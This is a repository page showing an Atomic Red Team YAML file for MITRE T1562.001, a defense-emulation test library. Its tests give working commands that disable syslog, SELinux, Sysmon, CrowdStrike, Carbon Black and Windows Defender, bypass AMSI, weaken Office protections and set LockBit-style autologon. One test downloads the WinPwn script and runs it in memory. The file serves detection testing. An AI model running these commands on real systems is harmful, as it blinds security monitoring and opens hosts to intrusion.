adam/atomic-red-team-gs
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity
Files
50435b5e1ce1d69a333f463e64b803515ae77952
atomic-red-team-gs/atomics/T1562.001/T1562.001.yaml
T
Hare Sudhan 50435b5e1c update sysmon
2024-11-25 21:11:44 -08:00

1179 lines
62 KiB
YAML
Raw Blame History

attack_technique: T1562.001
display_name: 'Impair Defenses: Disable or Modify Tools'
atomic_tests:
- name: Disable syslog
auto_generated_guid: 4ce786f8-e601-44b5-bfae-9ebb15a7d1c8
description: |
Disables syslog collection
supported_platforms:
- linux
input_arguments:
package_checker:
description: Package checking command for linux.
type: string
default: (rpm -q rsyslog 2>&1 >/dev/null) || (dpkg -s rsyslog | grep -q installed)
package_installer:
description: Package installer command for linux. Default yum
type: string
default: (which yum && yum -y install epel-release rsyslog)||(which apt-get && apt-get install -y rsyslog)
flavor_command:
description: Command to disable syslog collection. Default newer rsyslog commands. i.e older command = service rsyslog stop ; chkconfig off rsyslog
type: string
default: systemctl stop rsyslog ; systemctl disable rsyslog
cleanup_command:
description: Command to enable syslog collection. Default newer rsyslog commands. i.e older command = service rsyslog start ; chkconfig rsyslog on
type: string
default: systemctl start rsyslog ; systemctl enable rsyslog
dependency_executor_name: sh
dependencies:
- description: |
Package with rsyslog must be on system
prereq_command: |
if #{package_checker} > /dev/null; then exit 0; else exit 1; fi
get_prereq_command: |
sudo #{package_installer}
executor:
command: |
#{flavor_command}
cleanup_command: |
#{cleanup_command}
name: sh
elevation_required: true
- name: Disable syslog (freebsd)
auto_generated_guid: db9de996-441e-4ae0-947b-61b6871e2fdf
description: |
Disables syslog collection
supported_platforms:
- linux
executor:
command: |
service syslogd stop
sysrc syslogd_enable="NO"
cleanup_command: |
sysrc syslogd_enable="YES"
service syslogd start
name: sh
elevation_required: true
- name: Disable Cb Response
auto_generated_guid: ae8943f7-0f8d-44de-962d-fbc2e2f03eb8
description: |
Disable the Cb Response service
supported_platforms:
- linux
executor:
command: |
if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "6" ];
then
service cbdaemon stop
chkconfig off cbdaemon
else if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "7" ];
systemctl stop cbdaemon
systemctl disable cbdaemon
fi
name: sh
- name: Disable SELinux
auto_generated_guid: fc225f36-9279-4c39-b3f9-5141ab74f8d8
description: |
Disables SELinux enforcement
supported_platforms:
- linux
dependencies:
- description: |
SELinux must be installed
prereq_command: |
which setenforce
get_prereq_command: |
echo "SELinux is not installed"; exit 1
executor:
command: |
setenforce 0
cleanup_command: |
setenforce 1
name: sh
elevation_required: true
- name: Stop Crowdstrike Falcon on Linux
auto_generated_guid: 828a1278-81cc-4802-96ab-188bf29ca77d
description: |
Stop and disable Crowdstrike Falcon on Linux
supported_platforms:
- linux
executor:
command: |
sudo systemctl stop falcon-sensor.service
sudo systemctl disable falcon-sensor.service
cleanup_command: |
sudo systemctl enable falcon-sensor.service
sudo systemctl start falcon-sensor.service
name: sh
elevation_required: true
- name: Disable Carbon Black Response
auto_generated_guid: 8fba7766-2d11-4b4a-979a-1e3d9cc9a88c
description: |
Disables Carbon Black Response
supported_platforms:
- macos
executor:
command: |
sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.daemon.plist
sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.defense.daemon.plist
cleanup_command: |
sudo launchctl load -w /Library/LaunchDaemons/com.carbonblack.daemon.plist
sudo launchctl load -w /Library/LaunchDaemons/com.carbonblack.defense.daemon.plist
name: sh
elevation_required: true
- name: Disable LittleSnitch
auto_generated_guid: 62155dd8-bb3d-4f32-b31c-6532ff3ac6a3
description: |
Disables LittleSnitch
supported_platforms:
- macos
executor:
command: |
sudo launchctl unload /Library/LaunchDaemons/at.obdev.littlesnitchd.plist
cleanup_command: |
sudo launchctl load -w /Library/LaunchDaemons/at.obdev.littlesnitchd.plist
name: sh
elevation_required: true
- name: Disable OpenDNS Umbrella
auto_generated_guid: 07f43b33-1e15-4e99-be70-bc094157c849
description: |
Disables OpenDNS Umbrella
supported_platforms:
- macos
executor:
command: |
sudo launchctl unload /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist
cleanup_command: |
sudo launchctl load -w /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist
name: sh
elevation_required: true
- name: Disable macOS Gatekeeper
auto_generated_guid: 2a821573-fb3f-4e71-92c3-daac7432f053
description: |
Disables macOS Gatekeeper
supported_platforms:
- macos
executor:
command: |
sudo spctl --master-disable
cleanup_command: |
sudo spctl --master-enable
name: sh
elevation_required: true
- name: Stop and unload Crowdstrike Falcon on macOS
auto_generated_guid: b3e7510c-2d4c-4249-a33f-591a2bc83eef
description: |
Stop and unload Crowdstrike Falcon daemons falcond and userdaemon on macOS
supported_platforms:
- macos
input_arguments:
falcond_plist:
description: The path of the Crowdstrike Falcon plist file
type: path
default: /Library/LaunchDaemons/com.crowdstrike.falcond.plist
userdaemon_plist:
description: The path of the Crowdstrike Userdaemon plist file
type: path
default: /Library/LaunchDaemons/com.crowdstrike.userdaemon.plist
executor:
command: |
sudo launchctl unload #{falcond_plist}
sudo launchctl unload #{userdaemon_plist}
cleanup_command: |
sudo launchctl load -w #{falcond_plist}
sudo launchctl load -w #{userdaemon_plist}
name: sh
elevation_required: true
- name: Unload Sysmon Filter Driver
auto_generated_guid: 811b3e76-c41b-430c-ac0d-e2380bfaa164
description: |
Unloads the Sysinternals Sysmon filter driver without stopping the Sysmon service. To verify successful execution,
run the prereq_command's and it should fail with an error of "sysmon filter must be loaded".
supported_platforms:
- windows
input_arguments:
sysmon_driver:
description: The name of the Sysmon filter driver (this can change from the default)
type: string
default: SysmonDrv
dependency_executor_name: powershell
dependencies:
- description: |
Sysmon must be downloaded
prereq_command: |
if ((cmd.exe /c "where.exe Sysmon.exe 2> nul | findstr /i Sysmon 2> nul") -or (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe")) { exit 0 } else { exit 1 }
get_prereq_command: |
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://download.sysinternals.com/files/Sysmon.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\Sysmon.zip"
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\Sysmon.zip" "PathToAtomicsFolder\..\ExternalPayloads\Sysmon" -Force
- description: |
sysmon must be Installed
prereq_command: |
if(sc.exe query | findstr sysmon) { exit 0 } else { exit 1 }
get_prereq_command: |
if(cmd.exe /c "where.exe Sysmon.exe 2> nul | findstr Sysmon 2> nul") { sysmon -accepteula -i } else
{ & "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe" -accepteula -i}
- description: |
sysmon filter must be loaded
prereq_command: |
if(fltmc.exe filters | findstr #{sysmon_driver}) { exit 0 } else { exit 1 }
get_prereq_command: |
if(Test-Path "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe"){
& "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe" -u force
& "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe" -accepteula -i
}else{
Get-Service -Name Sysmon* | ForEach-Object {
& "$($_.Name)" -u force
& "$($_.Name)" -accepteula -i
}
}
executor:
command: |
fltmc.exe unload #{sysmon_driver}
cleanup_command: |
if(Test-Path "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe"){
& "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe" -u force
& "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe" -accepteula -i
}else{
Get-Service -Name Sysmon* | ForEach-Object {
& "$($_.Name)" -u force
& "$($_.Name)" -accepteula -i
}
}
name: command_prompt
elevation_required: true
- name: Uninstall Sysmon
auto_generated_guid: a316fb2e-5344-470d-91c1-23e15c374edc
description: |
Uninstall Sysinternals Sysmon for Defense Evasion
supported_platforms:
- windows
input_arguments:
sysmon_exe:
description: The location of the Sysmon executable from Sysinternals (ignored if sysmon.exe is found in your PATH)
type: path
default: PathToAtomicsFolder\T1562.001\bin\sysmon.exe
dependency_executor_name: powershell
dependencies:
- description: |
Sysmon executable must be available
prereq_command: |
if(cmd /c where.exe sysmon*) {exit 0} else {exit 1}
get_prereq_command: |
$parentpath = Split-Path "#{sysmon_exe}"; $zippath = "$parentpath\Sysmon.zip"
New-Item -ItemType Directory $parentpath -Force | Out-Null
Invoke-WebRequest "https://download.sysinternals.com/files/Sysmon.zip" -OutFile "$zippath"
Expand-Archive $zippath $parentpath -Force; Remove-Item $zippath
if(-not ($Env:Path).contains($parentpath)){$Env:Path += ";$parentpath"}
- description: |
Sysmon must be installed
prereq_command: |
if( cmd /c 'sc.exe query | findstr "sysmon"') { exit 0} else { exit 1}
get_prereq_command: |
if(Test-Path "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe"){
& "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe" -accepteula -i
}else{
Get-Service -Name Sysmon* | ForEach-Object {
& "$($_.Name)" -accepteula -i
}
}
executor:
command: |
if(Test-Path "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe"){
& "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe" -u force
}else{
Get-Service -Name Sysmon* | ForEach-Object {
& "$($_.Name)" -u force
}
}
cleanup_command: |
if(Test-Path "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe"){
& "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe" -accepteula -i
}else{
Get-Service -Name Sysmon* | ForEach-Object {
& "$($_.Name)" -accepteula -i
}
}
name: powershell
elevation_required: true
- name: AMSI Bypass - AMSI InitFailed
auto_generated_guid: 695eed40-e949-40e5-b306-b4031e4154bd
description: |
Any easy way to bypass AMSI inspection is it patch the dll in memory setting the "amsiInitFailed" function to true.
Upon execution, no output is displayed.
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
supported_platforms:
- windows
executor:
command: |
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
cleanup_command: |
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$false)
name: powershell
- name: AMSI Bypass - Remove AMSI Provider Reg Key
auto_generated_guid: 13f09b91-c953-438e-845b-b585e51cac9b
description: |
With administrative rights, an adversary can remove the AMSI Provider registry key in HKLM\Software\Microsoft\AMSI to disable AMSI inspection.
This test removes the Windows Defender provider registry key. Upon execution, no output is displayed.
Open Registry Editor and navigate to "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\" to verify that it is gone.
supported_platforms:
- windows
executor:
command: |
Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" -Recurse
cleanup_command: |
New-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers" -Name "{2781761E-28E0-4109-99FE-B9D127C57AFE}" -ErrorAction Ignore | Out-Null
name: powershell
elevation_required: true
- name: Disable Arbitrary Security Windows Service
auto_generated_guid: a1230893-56ac-4c81-b644-2108e982f8f5
description: |
With administrative rights, an adversary can disable Windows Services related to security products. This test requires McAfeeDLPAgentService to be installed.
Change the service_name input argument for your AV solution. Upon exeuction, infomration will be displayed stating the status of the service.
To verify that the service has stopped, run "sc query McAfeeDLPAgentService"
supported_platforms:
- windows
input_arguments:
service_name:
description: The name of the service to stop
type: string
default: McAfeeDLPAgentService
executor:
command: |
net.exe stop #{service_name}
sc.exe config #{service_name} start= disabled
cleanup_command: |
sc.exe config #{service_name} start= auto >nul 2>&1
net.exe start #{service_name} >nul 2>&1
name: command_prompt
elevation_required: true
- name: Tamper with Windows Defender ATP PowerShell
auto_generated_guid: 6b8df440-51ec-4d53-bf83-899591c9b5d7
description: |
Attempting to disable scheduled scanning and other parts of windows defender atp. Upon execution Virus and Threat Protection will show as disabled
in Windows settings.
supported_platforms:
- windows
executor:
command: |
Set-MpPreference -DisableRealtimeMonitoring 1
Set-MpPreference -DisableBehaviorMonitoring 1
Set-MpPreference -DisableScriptScanning 1
Set-MpPreference -DisableBlockAtFirstSeen 1
cleanup_command: |
Set-MpPreference -DisableRealtimeMonitoring 0
Set-MpPreference -DisableBehaviorMonitoring 0
Set-MpPreference -DisableScriptScanning 0
Set-MpPreference -DisableBlockAtFirstSeen 0
name: powershell
elevation_required: true
- name: Tamper with Windows Defender Command Prompt
auto_generated_guid: aa875ed4-8935-47e2-b2c5-6ec00ab220d2
description: |
Attempting to disable scheduled scanning and other parts of windows defender atp. These commands must be run as System, so they still fail as administrator.
However, adversaries do attempt to perform this action so monitoring for these command lines can help alert to other bad things going on. Upon execution, "Access Denied"
will be displayed twice and the WinDefend service status will be displayed.
supported_platforms:
- windows
executor:
command: |
sc stop WinDefend
sc config WinDefend start=disabled
sc query WinDefend
cleanup_command: |
sc start WinDefend >nul 2>&1
sc config WinDefend start=enabled >nul 2>&1
name: command_prompt
elevation_required: true
- name: Tamper with Windows Defender Registry
auto_generated_guid: 1b3e0146-a1e5-4c5c-89fb-1bb2ffe8fc45
description: |
Disable Windows Defender from starting after a reboot. Upen execution, if the computer is rebooted the entire Virus and Threat protection window in Settings will be
grayed out and have no info.
supported_platforms:
- windows
executor:
command: |
Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1
cleanup_command: |
Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 0
name: powershell
elevation_required: true
- name: Disable Microsoft Office Security Features
auto_generated_guid: 6f5fb61b-4e56-4a3d-a8c3-82e13686c6d7
description: |
Gorgon group may disable Office security features so that their code can run. Upon execution, an external document will not
show any warning before editing the document.
https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/
supported_platforms:
- windows
executor:
command: |
New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel"
New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security"
New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView"
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security" -Name "VBAWarnings" -Value "1" -PropertyType "Dword"
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -Name "DisableInternetFilesInPV" -Value "1" -PropertyType "Dword"
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -Name "DisableUnsafeLocationsInPV" -Value "1" -PropertyType "Dword"
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -Name "DisableAttachementsInPV" -Value "1" -PropertyType "Dword"
cleanup_command: |
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security" -Name "VBAWarnings" -ErrorAction Ignore | Out-Null
Remove-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -ErrorAction Ignore
name: powershell
- name: Remove Windows Defender Definition Files
auto_generated_guid: 3d47daaa-2f56-43e0-94cc-caf5d8d52a68
description: |
Removing definition files would cause ATP to not fire for AntiMalware. Check MpCmdRun.exe man page for info on all arguments.
On later viersions of windows (1909+) this command fails even with admin due to inusfficient privelages. On older versions of windows the
command will say completed.
https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/
supported_platforms:
- windows
executor:
command: |
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
name: command_prompt
elevation_required: true
- name: Stop and Remove Arbitrary Security Windows Service
auto_generated_guid: ae753dda-0f15-4af6-a168-b9ba16143143
description: |
Beginning with Powershell 6.0, the Stop-Service cmdlet sends a stop message to the Windows Service Controller for each of the specified services. The Remove-Service cmdlet removes a Windows service in the registry and in the service database.
supported_platforms:
- windows
input_arguments:
service_name:
description: The name of the service to remove
type: string
default: McAfeeDLPAgentService
executor:
command: |
Stop-Service -Name #{service_name}
Remove-Service -Name #{service_name}
name: powershell
elevation_required: true
- name: Uninstall Crowdstrike Falcon on Windows
auto_generated_guid: b32b1ccf-f7c1-49bc-9ddd-7d7466a7b297
description: |
Uninstall Crowdstrike Falcon. If the WindowsSensor.exe path is not provided as an argument we need to search for it. Since the executable is located in a folder named with a random guid we need to identify it before invoking the uninstaller.
supported_platforms:
- windows
input_arguments:
falcond_path:
description: The Crowdstrike Windows Sensor path. The Guid always changes.
type: path
default: C:\ProgramData\Package Cache\{7489ba93-b668-447f-8401-7e57a6fe538d}\WindowsSensor.exe
executor:
command: if (Test-Path "#{falcond_path}") {. "#{falcond_path}" /repair /uninstall /quiet } else { Get-ChildItem -Path "C:\ProgramData\Package Cache" -Include "WindowsSensor.exe" -Recurse | % { $sig=$(Get-AuthenticodeSignature -FilePath $_.FullName); if ($sig.Status -eq "Valid" -and $sig.SignerCertificate.DnsNameList -eq "CrowdStrike, Inc.") { . "$_" /repair /uninstall /quiet; break;}}}
name: powershell
elevation_required: true
- name: Tamper with Windows Defender Evade Scanning -Folder
auto_generated_guid: 0b19f4ee-de90-4059-88cb-63c800c683ed
description: |
Malware can exclude a specific path from being scanned and evading detection.
Upon successul execution, the file provided should be on the list of excluded path.
To check the exclusion list using poweshell (Get-MpPreference).ExclusionPath
supported_platforms:
- windows
input_arguments:
excluded_folder:
description: This folder will be excluded from scanning
type: path
default: C:\Temp
executor:
command: |-
$excludedpath= "#{excluded_folder}"
Add-MpPreference -ExclusionPath $excludedpath
cleanup_command: |
$excludedpath= "#{excluded_folder}"
Remove-MpPreference -ExclusionPath $excludedpath
name: powershell
elevation_required: true
- name: Tamper with Windows Defender Evade Scanning -Extension
auto_generated_guid: 315f4be6-2240-4552-b3e1-d1047f5eecea
description: |
Malware can exclude specific extensions from being scanned and evading detection.
Upon successful execution, the extension(s) should be on the list of excluded extensions.
To check the exclusion list using poweshell (Get-MpPreference).ExclusionExtension.
supported_platforms:
- windows
input_arguments:
excluded_exts:
description: A list of extension to exclude from scanning
type: string
default: .exe
executor:
command: |-
$excludedExts= "#{excluded_exts}"
Add-MpPreference -ExclusionExtension $excludedExts
cleanup_command: |
$excludedExts= "#{excluded_exts}"
Remove-MpPreference -ExclusionExtension $excludedExts -ErrorAction Ignore
name: powershell
elevation_required: true
- name: Tamper with Windows Defender Evade Scanning -Process
auto_generated_guid: a123ce6a-3916-45d6-ba9c-7d4081315c27
description: |
Malware can exclude specific processes from being scanned and evading detection.
Upon successful execution, the process(es) should be on the list of excluded processes.
To check the exclusion list using poweshell (Get-MpPreference).ExclusionProcess."
supported_platforms:
- windows
input_arguments:
excluded_process:
description: A list of processes to exclude from scanning
type: string
default: outlook.exe
executor:
command: |-
$excludedProcess = "#{excluded_process}"
Add-MpPreference -ExclusionProcess $excludedProcess
cleanup_command: |
$excludedProcess = "#{excluded_process}"
Remove-MpPreference -ExclusionProcess $excludedProcess
name: powershell
elevation_required: true
- name: office-365-Disable-AntiPhishRule
auto_generated_guid: b9bbae2c-2ba6-4cf3-b452-8e8f908696f3
description: |
Using the Disable-AntiPhishRule cmdlet to disable antiphish rules in your office-365 organization.
supported_platforms:
- office-365
input_arguments:
username:
description: office-365 username
type: string
default:
password:
description: office-365 password
type: string
default:
dependency_executor_name: powershell
dependencies:
- description: |
ExchangeOnlineManagement PowerShell module must be installed
prereq_command: |
$RequiredModule = Get-Module -Name ExchangeOnlineManagement -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Connect-ExchangeOnline']) {exit 1} else {exit 0}
get_prereq_command: |
Install-Module -Name ExchangeOnlineManagement
Import-Module ExchangeOnlineManagement
executor:
command: |
$secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
Connect-ExchangeOnline -Credential $creds
$test = Get-AntiPhishRule
Disable-AntiPhishRule -Identity $test.Name -Confirm:$false
Get-AntiPhishRule
cleanup_command: |
if("#{password}" -ne "") {
$secure_pwd = ("#{password}" + "") | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
Connect-ExchangeOnline -Credential $creds
$test = Get-AntiPhishRule
Enable-AntiPhishRule -Identity $test.Name -Confirm:$false
Get-AntiPhishRule
}
name: powershell
elevation_required: false
- name: Disable Windows Defender with DISM
auto_generated_guid: 871438ac-7d6e-432a-b27d-3e7db69faf58
description: |
The following Atomic will attempt to disable Windows-Defender using the built in DISM.exe, Deployment Image Servicing and Management tool.
DISM is used to enumerate, install, uninstall, configure, and update features and packages in Windows images.
A successful execution will not standard-out any details. Remove the quiet switch if verbosity is needed.
This method will remove Defender and it's package.
supported_platforms:
- windows
executor:
command: |-
Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet
name: command_prompt
elevation_required: true
- name: Disable Defender Using NirSoft AdvancedRun
auto_generated_guid: 81ce22fd-9612-4154-918e-8a1f285d214d
description: |
Information on NirSoft AdvancedRun and its creators found here: http://www.nirsoft.net/utils/advanced_run.html
This Atomic will run AdvancedRun.exe with similar behavior identified during the WhisperGate campaign.
See https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3
Upon successful execution, AdvancedRun.exe will attempt to run and stop Defender, and optionally attempt to delete the Defender folder on disk.
supported_platforms:
- windows
input_arguments:
AdvancedRun_Location:
description: Path of Advanced Run executable
type: path
default: 'PathToAtomicsFolder\..\ExternalPayloads\AdvancedRun.exe'
delete_defender_folder:
description: Set to 1 to also delete the Windows Defender folder
type: integer
default: 0
dependency_executor_name: powershell
dependencies:
- description: |
Advancedrun.exe must exist at #{AdvancedRun_Location}
prereq_command: |
if(Test-Path -Path "#{AdvancedRun_Location}") {exit 0} else {exit 1}
get_prereq_command: |
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "http://www.nirsoft.net/utils/advancedrun.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\advancedrun.zip"
Expand-Archive -path "PathToAtomicsFolder\..\ExternalPayloads\advancedrun.zip" -destinationpath "PathToAtomicsFolder\..\ExternalPayloads\" -Force
executor:
command: |
Try {cmd /c "#{AdvancedRun_Location}" /EXEFilename "$env:systemroot\System32\sc.exe" /WindowState 0 /CommandLine "stop WinDefend" /StartDirectory "" /RunAs 8 /Run} Catch{}
if(#{delete_defender_folder}){
$CommandToRun = rmdir "$env:programdata\Microsoft\Windows Defender" -Recurse
Try {cmd /c "#{AdvancedRun_Location}" /EXEFilename "$env:systemroot\System32\WindowsPowershell\v1.0\powershell.exe" /WindowState 0 /CommandLine "$CommandToRun" /StartDirectory "" /RunAs 8 /Run} Catch{}
}
cleanup_command: |
Try {cmd /c "#{AdvancedRun_Location}" /EXEFilename "$env:systemroot\System32\sc.exe" /WindowState 0 /CommandLine "start WinDefend" /StartDirectory "" /RunAs 8 /Run} Catch{}
name: powershell
elevation_required: true
- name: Kill antimalware protected processes using Backstab
auto_generated_guid: 24a12b91-05a7-4deb-8d7f-035fa98591bc
description: |-
Backstab loads Process Explorer driver which is signed by Microsoft and use it to terminate running processes protected by antimalware software such as MsSense.exe or MsMpEng.exe, which is otherwise not possible to kill.
https://github.com/Yaxser/Backstab
supported_platforms:
- windows
input_arguments:
process_name:
description: Name of the protected process you want to kill/terminate.
type: string
default: MsMpEng.exe
dependency_executor_name: powershell
dependencies:
- description: Backstab64.exe should exist in ExtrnalPayloads Directory
prereq_command: if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\Backstab64.exe") {exit 0} else {exit 1}
get_prereq_command: |
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://github.com/Yaxser/Backstab/releases/download/v1.0.1-beta/Backstab64.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\Backstab64.exe"
executor:
command: |
& "PathToAtomicsFolder\..\ExternalPayloads\Backstab64.exe" -k -n #{process_name}
name: powershell
elevation_required: true
- name: WinPwn - Kill the event log services for stealth
auto_generated_guid: 7869d7a3-3a30-4d2c-a5d2-f1cd9c34ce66
description: Kill the event log services for stealth via function of WinPwn
supported_platforms:
- windows
executor:
command: |-
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
inv-phantom -consoleoutput -noninteractive
name: powershell
- name: Tamper with Windows Defender ATP using Aliases - PowerShell
auto_generated_guid: c531aa6e-9c97-4b29-afee-9b7be6fc8a64
description: |
Attempting to disable scheduled scanning and other parts of Windows Defender ATP using set-MpPreference aliases. Upon execution Virus and Threat Protection will show as disabled
in Windows settings.
supported_platforms:
- windows
executor:
command: |
Set-MpPreference -drtm $True
Set-MpPreference -dbm $True
Set-MpPreference -dscrptsc $True
Set-MpPreference -dbaf $True
cleanup_command: |
Set-MpPreference -drtm 0
Set-MpPreference -dbm 0
Set-MpPreference -dscrptsc 0
Set-MpPreference -dbaf 0
name: powershell
elevation_required: true
- name: LockBit Black - Disable Privacy Settings Experience Using Registry -cmd
auto_generated_guid: d6d22332-d07d-498f-aea0-6139ecb7850e
description: |
LockBit Black - Disable Privacy Settings Experience Using Registry
supported_platforms:
- windows
executor:
command: |
reg add "HKCU\Software\Policies\Microsoft\Windows\OOBE" /v DisablePrivacyExperience /t REG_DWORD /d 1 /f
cleanup_command: |
reg delete "HKCU\Software\Policies\Microsoft\Windows\OOBE" /v DisablePrivacyExperience /f >nul 2>&1
name: command_prompt
elevation_required: true
- name: LockBit Black - Use Registry Editor to turn on automatic logon -cmd
auto_generated_guid: 9719d0e1-4fe0-4b2e-9a72-7ad3ee8ddc70
description: |
LockBit Black - Use Registry Editor to turn on automatic logon
supported_platforms:
- windows
executor:
command: |
reg add "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /t REG_DWORD /d 1 /f
reg add "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName /t REG_SZ /d Administrator /f
reg add "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName /t REG_SZ /d contoso.com /f
reg add "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword /t REG_SZ /d password1 /f
cleanup_command: |
reg delete "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /f >nul 2>&1
reg delete "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName /f >nul 2>&1
reg delete "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName /f >nul 2>&1
reg delete "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword /f >nul 2>&1
name: command_prompt
elevation_required: true
- name: LockBit Black - Disable Privacy Settings Experience Using Registry -Powershell
auto_generated_guid: d8c57eaa-497a-4a08-961e-bd5efd7c9374
description: |
LockBit Black - Disable Privacy Settings Experience Using Registry
supported_platforms:
- windows
executor:
command: |
New-ItemProperty "HKCU:\Software\Policies\Microsoft\Windows\OOBE" -Name DisablePrivacyExperience -PropertyType DWord -Value 1 -Force
cleanup_command: |
Remove-ItemProperty "HKCU:\Software\Policies\Microsoft\Windows\OOBE" -Name DisablePrivacyExperience -Force -ErrorAction Ignore
name: powershell
elevation_required: true
- name: Lockbit Black - Use Registry Editor to turn on automatic logon -Powershell
auto_generated_guid: 5e27f36d-5132-4537-b43b-413b0d5eec9a
description: |
Lockbit Black - Use Registry Editor to turn on automatic logon
supported_platforms:
- windows
executor:
command: |
New-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AutoAdminLogon -PropertyType DWord -Value 1 -Force
New-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultUserName -Value Administrator -Force
New-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultDomainName -Value contoso.com -Force
New-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultPassword -Value password1 -Force
cleanup_command: |
Remove-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AutoAdminLogon -Force -ErrorAction Ignore
Remove-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultUserName -Force -ErrorAction Ignore
Remove-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultDomainName -Force -ErrorAction Ignore
Remove-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultPassword -Force -ErrorAction Ignore
name: powershell
elevation_required: true
- name: Disable Windows Defender with PwSh Disable-WindowsOptionalFeature
auto_generated_guid: f542ffd3-37b4-4528-837f-682874faa012
description: |
